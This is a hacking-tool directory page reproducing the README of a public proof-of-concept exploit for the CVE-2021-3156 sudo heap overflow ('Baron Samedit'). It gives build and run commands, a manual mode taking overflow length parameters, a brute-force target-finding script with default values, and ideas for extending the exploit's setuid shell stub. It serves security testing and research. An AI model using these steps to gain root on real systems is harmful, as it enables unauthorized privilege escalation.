Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3156 | Kitploit
Tools/GitHubGitHub/blasty/cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingPayload DevelopmentBinary Exploitation
GitHubblasty/cve-2021-3156

CVE-2021-3156

View Repository
1.0k2355 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-3156 PoC

Introduction

This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys).

Usage

build:

root@kitploit:~
$ make

list targets:

root@kitploit:~
$ ./sudo-hax-me-a-sandwich

run:

root@kitploit:~
$ ./sudo-hax-me-a-sandwich <target_number>

manual mode:

root@kitploit:~
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Bruteforce target finding (experimental)

Make sure you have GNU parallel installed.

root@kitploit:~
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

some defaults to try:

root@kitploit:~
$ ./brute.sh 90 120 50 70 150 300

Will eat up all available cores. Don't try to netflix & brute.

Contributing

Send (sensible) PR's, I might merge.

Some ideas:

  • More targets
  • Target finding
  • Other exploitation strategies
  • More self contained functionality:
    • Embed shared library hax.c (Make it small please, ELF golf + asm setuid/execve stub)
    • Add mkdir logic to hax.c
  • Directory/shared library cleanup
Download Tool